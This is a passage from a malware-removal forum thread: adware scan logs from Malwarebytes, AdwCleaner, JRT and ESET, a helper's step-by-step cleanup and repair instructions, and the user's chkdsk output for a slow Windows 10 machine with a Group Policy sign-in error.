PUP.Optional.DNSUnlocker.ACMB2, C:\ProgramData\9d040e82-7c01-1, Quarantined, [192fd200d2c72e08af1b8fb5867d946c],
PUP.Optional.DNSUnlocker.ACMB2, C:\ProgramData\{021c7754-712c-1}, Quarantined, [43052ba73a5fcd6907c420248182bf41],
PUP.Optional.DNSUnlocker.ACMB2, C:\ProgramData\{02779eab-312c-0}, Quarantined, [dc6c775bdebb310558737fc5ff04ca36],

Files: 89
PUP.Optional.APNToolBar, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\WeatherBugSetup.res, Quarantined, [5eea71612871f6401015391730d1a957],
PUP.Optional.InstallCore, C:\Users\nikki\Downloads\Firefox_Setup.exe, Quarantined, [5eea9d359efbda5cdf5fd39f5ea37d83],
PUP.Optional.Amonetize, C:\Windows\Tasks\UpdaterEX.job, Quarantined, [c583b91960398da9ad31d86ea360a858],
PUP.Optional.UpdateProc, C:\Users\nikki\AppData\Roaming\UpdaterEX\UpdateProc\prod.dat, Quarantined, [78d0d200fe9bd85e6bfbd987f311a65a],
PUP.Optional.UpdateProc, C:\Users\nikki\AppData\Roaming\UpdaterEX\UpdateProc\config.dat, Quarantined, [78d0d200fe9bd85e6bfbd987f311a65a],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\WeatherBugSetup.msi, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\instance.dat, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\mia.lib, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\WeatherBugSetup.dat, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\WeatherBugSetup.exe, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\WeatherBugSetup.lnk, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\WeatherBugSetup.par, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\{1B9604EE-B104-45C8-8551-5F63BA631E23}, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\{1B9604EE-B104-45C8-8551-5F63BA631E23}.native.bitness.log, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\{1B9604EE-B104-45C8-8551-5F63BA631E23}.native.data.log, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\{1B9604EE-B104-45C8-8551-5F63BA631E23}.native.elements.log, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\{1B9604EE-B104-45C8-8551-5F63BA631E23}.native.weight.log, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\{FA77A43D-F6ED-4924-87B5-517C061388C6}, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\10755C93\backbone.analytics.js, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\10755C93\backbone.js, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\10755C93\backbone.min.js, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\10755C93\bootstrap.js, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\10755C93\jquery.min.js, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\10755C93\json2.min.js, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\10755C93\stacktrace.min.js, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\10755C93\underscore.min.js, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\1194B90A\dWeather.js, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\1194B90A\runtime.html, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\1382EDFA\background.png, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\1382EDFA\client.html, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\1382EDFA\layout.xml, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\1382EDFA\MiniBugIcon.ico, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\1382EDFA\noconnection.html, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\1382EDFA\runtime.html, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\1382EDFA\testPage.html, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\2AF55881\GalaSoft.MvvmLight.Extras.WPF4.xml, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\2AF55881\GalaSoft.MvvmLight.WPF4.xml, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\2AF55881\Microsoft.Practices.ServiceLocation.xml, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\2AF55881\System.Windows.Interactivity.xml, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\2AF55881\WeatherBug.exe.config, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\2F536942\dWeatherUnitTests.js, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\4D8E513\backbone.min.js, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\4D8E513\jquery.min.js, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\4D8E513\json2.min.js, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\4D8E513\underscore.min.js, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\557E91D7\qunit.js, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\609C82D7\CustomActions.exe, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\609C82D7\GalaSoft.MvvmLight.Extras.WPF4.dll, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\609C82D7\GalaSoft.MvvmLight.WPF4.dll, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\609C82D7\Hardcodet.Wpf.TaskbarNotification.dll, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\609C82D7\Microsoft.Maps.MapControl.WPF.dll, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\609C82D7\Microsoft.Practices.ServiceLocation.dll, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\609C82D7\Newtonsoft.Json.dll, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\609C82D7\NLog.dll, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\609C82D7\System.Windows.Interactivity.dll, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\609C82D7\WeatherBug.exe, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\609C82D7\WeatherBugLib.dll, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\609C82D7\WebResources.dll, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\76981FF9\timeSpan.js, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\88EF8CFE\bootstrap.min.css, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\B16299D3\configuration.json, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\B16299D3\dWeather.js, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\B16299D3\dWeather_dMiniExtensions.js, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\B16299D3\locations.json, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\B2735F12\configuration.js, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\B2890989\qunit.css, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\D759BF7C\environment.js, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\D759BF7C\shell.js, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\F1B200E5\glyphicons-halflings-white.png, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\F1B200E5\glyphicons-halflings.png, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\FB6F57A0\configurationStore.js, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\FB6F57A0\dataStore.js, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\FB6F57A0\locationStore.js, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\FB6F57A0\notificationCenter.js, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\FB6F57A0\settingsStore.js, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\FB6F57A0\timeEventSource.js, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\mDown.dll\mDownExec.dll, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\mFileBagIDE.dll\mFileBagEXE.dll, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\mFileBagIDE.dll\bag\ga.exe, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\mFileBagIDE.dll\bag\ga.exe.config, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\mIDEFunc.dll\mEXEFunc.dll, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\mMSI.dll\mMSIExec.dll, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\mWinRun.dll\mWinRunExec.dll, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.eShopComp, C:\Users\nikki\AppData\Local\Google\Chrome\User Data\Default\Local Storage\http_pstatic.eshopcomp.com_0.localstorage, Delete-on-Reboot, [1434f4de8217e650bb31159447bdfb05],
PUP.Optional.eShopComp, C:\Users\nikki\AppData\Local\Google\Chrome\User Data\Default\Local Storage\http_pstatic.eshopcomp.com_0.localstorage-journal, Delete-on-Reboot, [3b0dd6fcf7a2af873cb0dccd798b04fc],
PUP.Optional.CrossRider, C:\Users\nikki\AppData\Local\Google\Chrome\User Data\Default\Local Storage\https_d19tqk5t6qcjac.cloudfront.net_0.localstorage, Delete-on-Reboot, [074123af3a5fb284cb471598ca3af808],
PUP.Optional.CrossRider, C:\Users\nikki\AppData\Local\Google\Chrome\User Data\Default\Local Storage\https_d19tqk5t6qcjac.cloudfront.net_0.localstorage-journal, Delete-on-Reboot, [074123aff0a953e31200189526dea759],
PUP.Optional.UTop, C:\Users\nikki\AppData\Local\Google\Chrome\User Data\Default\Local Storage\http_utop.it_0.localstorage, Delete-on-Reboot, [3a0e933f4554dd5917e05e56c04440c0],
PUP.Optional.UTop, C:\Users\nikki\AppData\Local\Google\Chrome\User Data\Default\Local Storage\http_utop.it_0.localstorage-journal, Delete-on-Reboot, [ad9b1eb4a6f30630f403c0f4d52fa15f],

Physical Sectors: 0
(No malicious items detected)


(end)

# AdwCleaner v5.115 - Logfile created 05/05/2016 at 17:27:40
# Updated 01/05/2016 by Xplode
# Database : 2016-05-04.2 [Server]
# Operating system : Windows 10 Home (X64)
# Username : nikki - DIRK-V2
# Running from : C:\Users\nikki\Downloads\AdwCleaner.exe
# Option : Clean
# Support : http://toolslib.net/forum

***** [ Services ] *****


***** [ Folders ] *****

[-] Folder Deleted : C:\ProgramData\44432c61
[#] Folder Deleted : C:\ProgramData\Application Data\44432c61
[-] Folder Deleted : C:\ProgramData\Microsoft\Windows\Start Menu\Programs\WeatherBug®
[-] Folder Deleted : C:\Program Files\Earth Networks

***** [ Files ] *****

[-] File Deleted : C:\Users\nikki\AppData\Roaming\Microsoft\Windows\Start Menu\WeatherBug®.lnk
[-] File Deleted : C:\Users\nikki\Desktop\WeatherBug®.lnk

***** [ DLLs ] *****


***** [ WMI ] *****


***** [ Shortcuts ] *****


***** [ Scheduled tasks ] *****

[-] Task Deleted : YCMServiceAgent

***** [ Registry ] *****

[-] Value Deleted : HKCU\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION [WeatherBug.exe]
[-] Key Deleted : HKCU\Software\UpdaterEX
[-] Key Deleted : HKCU\Software\Earth Networks
[-] Key Deleted : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\11598763487076930564
[-] Value Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Run [WeatherBug]
[#] Value Deleted : HKU\S-1-5-21-4202283924-1420085414-670275171-1001\Software\Microsoft\Windows\CurrentVersion\Run [WeatherBug]
[-] Value Deleted : HKU\S-1-5-21-4202283924-1420085414-670275171-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run [WeatherBug]

***** [ Web browsers ] *****

[-] [C:\Users\nikki\AppData\Local\Google\Chrome\User Data\Default\Web Data] [Search Provider] Deleted : aol.com
[-] [C:\Users\nikki\AppData\Local\Google\Chrome\User Data\Default\Web Data] [Search Provider] Deleted : ask.com

*************************

:: "Tracing" keys deleted
:: Winsock settings cleared

*************************

C:\AdwCleaner\AdwCleaner[C1].txt - [2061 bytes] - [05/05/2016 17:27:40]
C:\AdwCleaner\AdwCleaner[S1].txt - [2197 bytes] - [05/05/2016 17:23:47]

########## EOF - C:\AdwCleaner\AdwCleaner[C1].txt - [2207 bytes] ##########


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Junkware Removal Tool (JRT) by Malwarebytes
Version: 8.0.6 (04.25.2016)
Operating System: Windows 10 Home x64
Ran by nikki (Administrator) on Thu 05/05/2016 at 17:34:22.19
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~




File System: 0




Registry: 0





~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Scan was completed on Thu 05/05/2016 at 17:38:19.45
End of JRT log
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

[Juliet]

In your logs:

This IP address 82.163.143.171 is located in Israel, Tel Aviv
Tcpip\Parameters: [NameServer] 82.163.143.171 82.163.142.173
Tcpip\..\Interfaces\{244d3898-9897-47be-b651-9908cc9b6b24}: [NameServer] 82.163.143.171 82.163.142.173
Tcpip\..\Interfaces\{47454114-24b9-4282-ad67-f96c33b2fbde}: [NameServer] 82.163.143.171 82.163.142.173
Tcpip\..\Interfaces\{47454114-24b9-4282-ad67-f96c33b2fbde}: [DhcpNameServer] 82.163.143.171
Tcpip\..\Interfaces\{c2210255-7e44-43ba-aca0-6679d22815e2}: [NameServer] 82.163.143.171 82.163.142.173
Tcpip\..\Interfaces\{c2210255-7e44-43ba-aca0-6679d22815e2}: [DhcpNameServer] 82.163.143.171
Tcpip\..\Interfaces\{cc6031a8-cb31-4b60-b4e8-65e26fb887ca}: [NameServer] 82.163.143.171 82.163.142.173
Tcpip\..\Interfaces\{cc6031a8-cb31-4b60-b4e8-65e26fb887ca}: [DhcpNameServer] 82.163.143.171

signs of DNS Unlocker of which Malwarebytes Anti-Malware picked up on.

https://forums.malwarebytes.org/topi...s-unlocker-14/

I cannot or didn't want to remove it without clarification.
Thats why I asked, no malicious or rude intentions what so ever and I'm a Southerner too and proud of it.


Can you tell me what the computer is doing now?

******************

What we can do now is run an online scan with Eset, a good trusted scanner, reliable and thorough.
The settings I suggest will show us items located in quarantine folders so don't be alarmed with this, also, in case of a false positive I ask that you not allow it to delete what it does find.
This scanner can take quite a bit of time to run, depending of course how full your computer is.



ESET Online Scan
Note: This scan may take a long time to complete. Please do not browse the Internet whilst your Anti-Virus is disabled.

• Please download ESET Online Scan and save the file to your Desktop.
• Temporarily disable your anti-virus software. For instructions, please refer to the following link.
• Double-click esetsmartinstaller_enu.exe to run the programme.
• Agree to the EULA by placing a checkmark next to Yes, I accept the Terms of Use. Then click Start.
• Agree to the Terms of Use once more and click Start. Allow components to download.
• Place a checkmark next to Enable detection of potentially unwanted applications.
• Click Advanced settings. Place a checkmark next to:
  
  • Scan archives
  • Scan for potentially unsafe applications
  • Enable Anti-Stealth technology
  
  
• Ensure Remove found threats is unchecked.
• Click Start.
• Wait for the scan to finish. Please be patient as this can take some time.
• Upon completion, click . If no threats were found, skip the next two bullet points.
• Click and save the file to your Desktop, naming it something such as "MyEsetScan".
• Push the Back button.
• Place a checkmark next to and click .
• Re-enable your anti-virus software.
• Copy the contents of the log and paste in your next reply.
  

[KillerPepper]

I apologize for the misunderstanding, after reading my reply I realized it was abrasive. I had presumed you found something to bring up that question and was not thrilled at possibly having been hacked from Israel and not at you asking where I am from.

Anyway, this computer was initially receiving spammed pop-ups as well as overlaying ads on multiple programs such as Steam. Pop-up blockers were applied to stem the bulk and I scanned for what I know to be malicious in temporary files with no luck. Currently, accessing the internet does not cause ad spamming but the computer is very slow to load and has routed me multiple times, upon log in, to a screen stating the following, "The Group Policy Client service failed the sign-in. The universal unique identifier (UUID) is not supported." Any ideas?

I ran the Eset Scan and here are the results.

C:\Users\nikki\Downloads\ccsetup513 (1).exe Win32/Bundled.Toolbar.Google.D potentially unsafe application
C:\Users\nikki\Downloads\ccsetup513.exe Win32/Bundled.Toolbar.Google.D potentially unsafe application
C:\Users\nikki\Downloads\HDVideoPlayer.zip a variant of Win32/InstallCore.AEI.gen potentially unwanted application

[Juliet]

Currently, accessing the internet does not cause ad spamming

This is good.

but the computer is very slow to load, Group Policy Client service failed the sign-in

Now this is a horse of a different color.

The below forum had a couple of suggestions that worked for many with the same error.
One thing I did see mentioned was to use system restore point to before the problem started which helped but wasn't a cure.
http://www.windows10forums.com/threa...-service.3501/

Read over the above and try the suggestions....if nothing works let's try the below

*******
Let's see if this tool will run on Windows 10
This repair may take some hours !!!

Tweaking.com - Windows Repair All-In-One (Portable)

- Download Windows Repair All-In-One (Portable Version) from here.

- Extract tweaking.com_windows_repair_aio.zip to your Desktop.

- Disable all your antivirus and antimalware software - see how to do that here.
- Right click on and select Run as Administrator (XP users just double click) to start Windows Repair All-In-One.
(Windows Vista/7/8 users: Accept UAC warning if it is enabled.)

- A window will appear. Click Step 2.


- Click the Open Pre-Scan button, then click Start Scan. Wait for Windows Repair to finish scanning.

- Depending on which error Windows Repair found, click Repair Reparse Point or Repair Environment Variable accordingly. When the button changes to "Done!", click the close button to return to Windows Repair.

- Go to Step 3, then click Check in the See If Check Disk Is Needed.

- If Windows Repair stated that errors are found, click Open Check Disk At Next Boot. Choose (/R) Fixes errors on the disk also locate bad sectors and recovers readable information, then click Add To Next Boot. Reboot the computer to let Windows check the disk.


- Go to Step 4, then click Do It.


- Go to Step 5. Under System Restore click Create.


- Go to Repairs and click Open Repairs. Leave all checkmarks as they are, then click Start Repairs.


- By default Windows Repair All-In-One will create a "Logs" folder in its folder on the Desktop. Please post the contents of the log in your next reply.

[KillerPepper]

What do I need to specifically worry about as far as personal information being hacked right now?


C:\Users\nikki\Desktop>CD /D C:\

C:\>set path=%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SystemRoot%\System32\WindowsPowerShell\v1.0

C:\>chkdsk C:
The type of the file system is NTFS.
The volume is in use by another process. Chkdsk
might report errors when no corruption is present.
Volume label is Windows.

WARNING! /F parameter not specified.
Running CHKDSK in read-only mode.

Stage 1: Examining basic file system structure ...
Progress: 411392 of 411392 done; Stage: 100%; Total: 34%; ETA: 0:00:31 ...


411392 file records processed.

File verification completed.
Progress: 6921 of 6921 done; Stage: 100%; Total: 27%; ETA: 0:00:43


6921 large file records processed.

Progress: 0 of 0 done; Stage: 99%; Total: 27%; ETA: 0:00:43 .


0 bad file records processed.


Stage 2: Examining file name linkage ...
Progress: 425579 of 535086 done; Stage: 79%; Total: 59%; ETA: 0:00:32 ..

Index entry Secure Preferences in index $I30 of file 154666 is incorrect.
Index entry SECURE~1 in index $I30 of file 154666 is incorrect.
Progress: 469454 of 535086 done; Stage: 87%; Total: 77%; ETA: 0:00:27 .

Index entry CHKDSK.EXE-2E757381.pf in index $I30 of file 334410 is incorrect.
Index entry CHKDSK~1.PF in index $I30 of file 334410 is incorrect.
Index entry VSSVC.EXE-6C8F0C66.pf in index $I30 of file 334410 is incorrect.
Index entry VSSVCE~1.PF in index $I30 of file 334410 is incorrect.
Progress: 470085 of 535086 done; Stage: 87%; Total: 77%; ETA: 0:00:27 ...

Index entry clients[1].txt in index $I30 of file 337862 is incorrect.
Index entry CLIENT~1.TXT in index $I30 of file 337862 is incorrect.
Progress: 473243 of 535086 done; Stage: 88%; Total: 77%; ETA: 0:00:27 ..
Progress: 535086 of 535086 done; Stage: 100%; Total: 77%; ETA: 0:00:27 ...


535086 index entries processed.

Index verification completed.

Errors found. CHKDSK cannot continue in read-only mode.

C:\>

